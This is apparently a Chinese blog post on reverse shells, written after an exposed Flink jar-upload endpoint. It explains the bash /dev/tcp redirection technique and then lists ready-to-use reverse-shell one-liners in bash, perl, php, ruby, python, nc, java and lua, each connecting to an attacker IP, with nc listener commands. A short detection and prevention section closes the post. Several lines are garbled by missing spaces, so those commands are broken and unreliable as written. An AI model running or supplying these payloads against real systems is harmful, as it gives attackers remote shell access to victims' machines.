Shell反弹

背景

前段时间因为使用Flink默认配置,没有禁用通过web上传jar包提交作业的功能,同时服务器配有公网地址,也没有对相应的端口配置防火墙,导致任意用户可以通过Flink上传jar包执行任务,并伴有反弹shell获取shell权限的风险。在此总结一下反弹shell,加深理解。

反弹shell的作用

通常攻击者在自己的机器去连接目标机器(目标IP:目标机器端口),叫做正向连接。如远程桌面,web服务,ssh,telnet等等。然而在以下情况时,正向连接不大适用:

1. 某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2. 它的IP会动态改变,你不能持续控制。

3. 由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

反弹shell的本质

当目标机器主动连接攻击者机器时,要实现对远程机器的操控,其实就是两台机器的通信,本质上在目标机器上多了对通信信息的执行过程。在linux中有各种重定向的功能,目标机器通过设置对通信内容进行交互执行即完成shell反弹。如下示例:

攻击机器上执行:

nc -lvp 2333

受害机器上执行:

bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

bash -i 表示产生交互式的shell,/dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备,如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信。

>&表示将标准输出和错误输出都重定向至指定文件,0>&1表示标准输入重定向至标准输出。因此,受害机器上的标准输入将通过/dev/tcp/192.168.146.129/2333文件读取并执行,标准输出和错误输出将写入/dev/tcp/192.168.146.129/2333文件。完成了shell的反弹效果。

多种反弹shell命令

本机开启监听:

nc -lvnp 4444

目标机器开启反弹

bash版本:

bash-i >& /dev/tcp/10.0.0.1/4444 0>&1

perl版本:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

php版本:

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby版本:

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

python版本:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

nc版本:

nc -e /bin/sh10.0.0.1 1234

rm/tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh-i 2>&1|nc 10.0.0.1 1234 >/tmp/f

nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

java版本:

r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

p.waitFor()

lua版本:

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

NC版本不使用-e参数:

mknod/tmp/backpipep

/bin/sh0/tmp/backpipe

 /bin/bash-i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1

 mknodbackpipe p && telnet 173.214.173.151 8080 0backpipe

检测及预防

检测shell反弹的总体思路如下:

1. 及时发现Bash进程启动事件。

2. 检查Bash进程是否打开了终端设备,是否有主动对外连接。

总结

不管采用何种方式反弹shell都是受害机器主动连接攻击机器,采用socket进行通信并交互执行。受害机器需要配好防火墙,限制端口,防范攻击者植入反弹shell程序,当检测出漏洞无法确定时及时备份数据重装系统。

参考链接

https://xz.aliyun.com/t/2549

http://ijianbian.com/home/post/detail?id=6202977

https://4hou.win/wordpress/?p=25737

你可能感兴趣的:(Shell反弹)